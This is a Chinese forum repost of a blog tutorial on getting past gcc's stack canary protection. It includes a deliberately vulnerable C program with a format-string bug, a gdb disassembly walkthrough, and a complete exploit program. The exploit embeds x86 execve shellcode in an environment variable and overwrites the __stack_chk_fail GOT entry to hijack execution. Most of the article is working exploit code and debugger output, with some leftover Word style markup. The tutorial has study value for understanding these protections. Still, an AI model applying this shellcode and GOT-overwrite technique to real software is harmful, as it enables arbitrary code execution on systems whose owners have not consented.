- 论坛徽章:
- 0
|
Normal
0
7.8 磅
0
2
MicrosoftInternetExplorer4
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:普通表格;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Times New Roman";
mso-fareast-font-family:"Times New Roman";}
为了防止栈溢出攻击,高版本的gcc通常会在编译时为局部变量含有char数组的函数中加入保护代码,通过:
0x08048481 : mov %gs:0x14,%eax
0x08048487 : mov %eax,0xfffffff8(%ebp)
把一个canary word保存在栈中,在函数返回时再通过:
0x080484dd : mov 0xfffffff8(%ebp),%edx
0x080484e0 : xor %gs:0x14,%edx
0x080484e7 : je 0x80484ee
0x080484e9 : call 0x80483a8
检查该值是否被覆盖,从而判断是否发生栈溢出并转向相应的处理流程。另外,gcc还会调整局部变量的位置,把char数组挪到较高处,防止溢出时覆盖其它重要变量。这些措施在一定程度上增加了溢出攻击攻击的难度,但在某些特定情况下也可能被绕过,比如:
[vul.c]
#include
#include
#include
#include
#include
#include
#include
int main(int argc,char **argv)
{
int fd;
char buff[200];
printf("SCD(%p)\n",getenv("SCD"));
strcpy(buff,argv[1]);
fd=open("/dev/null",O_RDWR);
dup2(fd,1);
printf(buff);
}
当存在可写任意内存地址漏洞时(某些栈溢出漏洞也可能导致写任意内存地址,为了演示方便,使用了format string漏洞),可以通过修改__stack_chk_fail对应的GOT项从而改变程序的执行流程。
lk@lk-laptop:~/Desktop$ gdb vul -q
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x080484a4 : lea 0x4(%esp),%ecx->ecx等于esp+4
0x080484a8 : and $0xfffffff0,%esp
0x080484ab : pushl 0xfffffffc(%ecx)
0x080484ae : push %ebp
0x080484af : mov %esp,%ebp
0x080484b1 : push %ecx->把ecx的值保存在栈中
0x080484b2 : sub $0xe4,%esp->这时的esp等于ebp-232
0x080484b8 : mov 0x4(%ecx),%eax
0x080484bb : mov %eax,0xffffff28(%ebp)->把argv指针数组的指针保存在ebp-216处
0x080484c1 : mov %gs:0x14,%eax
0x080484c7 : mov %eax,0xfffffff8(%ebp)->把canary word保存在ebp-8处
0x080484ca : xor %eax,%eax
0x080484cc : movl $0x804862c,(%esp)
0x080484d3 : call 0x8048398
0x080484d8 : mov %eax,0x4(%esp)
0x080484dc : movl $0x8048630,(%esp)
0x080484e3 : call 0x80483d8
0x080484e8 : mov 0xffffff28(%ebp),%eax
0x080484ee : add $0x4,%eax
0x080484f1 : mov (%eax),%eax
0x080484f3 : mov %eax,0x4(%esp)->把argv[1]放入esp+4处
0x080484f7 : lea 0xffffff30(%ebp),%eax->buff的位置在ebp-208处
---Type to continue, or q to quit---
0x080484fd : mov %eax,(%esp)->把buff指针放入esp处
0x08048500 : call 0x80483c8 ->执行strcpy
0x08048505 : movl $0x2,0x4(%esp)
0x0804850d : movl $0x8048639,(%esp)
0x08048514 : call 0x8048378
0x08048519 : mov %eax,0xffffff2c(%ebp)
0x0804851f : movl $0x1,0x4(%esp)
0x08048527 : mov 0xffffff2c(%ebp),%eax
0x0804852d : mov %eax,(%esp)
0x08048530 : call 0x80483b8
0x08048535 : lea 0xffffff30(%ebp),%eax
0x0804853b : mov %eax,(%esp)->把buff指针放入esp处
0x0804853e : call 0x80483d8 ->执行printf
0x08048543 : mov 0xfffffff8(%ebp),%edx
0x08048546 : xor %gs:0x14,%edx->比较canary word是否改变
0x0804854d : je 0x8048554 ->相等则正常返回
0x0804854f : call 0x80483e8 ->不等则转向失败处理
0x08048554 : add $0xe4,%esp
0x0804855a : pop %ecx->恢复ecx的值
0x0804855b : pop %ebp
0x0804855c : lea 0xfffffffc(%ecx),%esp->esp等于ecx-4
0x0804855f : ret
End of assembler dump.
(gdb) x/i 0x80483e8
0x80483e8 :
jmp *0x8049758->要写入的内存地址为0x8049758
(gdb)
[run.c]
#include
main()
{
system("touch test");
}
[exp.c]
#include
#include
#include
char
scd[]="SCD=\x90\x90\x90\x90\xeb\x18\x5e\x31\xc0\x88\x46\x03\x89\x76\x04\x89\x46\x08\x8b\x56\x08\x8d\x4e\x04\x89\xf3\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xffrun";
int main(int argc,char **argv)
{
int i,j,addr;
char buff[240];
char
*sargv[]={"vul",buff,NULL};
char *senvp[]={scd,NULL};
addr=0xbfffffd1;
*((int *)buff)=0x8049758;
strcpy(buff+4,"%700000000u%700000000u%700000000u%700000000u%");
addr=addr-2800000004;
j=strlen(buff);
sprintf(buff+j,"%uu",addr);
strcat(buff,"%n");
for(i=strlen(buff);i buff='A';
buff[239]='\0';
execve(sargv[0],sargv,senvp);
}
另外,经过测试,当char数组小于8时,gcc不会在编译过程中加入保护代码,这时可以按照传统的方法溢出。而在ubuntu、debian系统中,canary
word是一个固定的数0xff0a0000,因此有可能通过多次覆盖或者基于memcpy的栈溢出绕过该保护。
本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u3/102108/showart_2025892.html |
|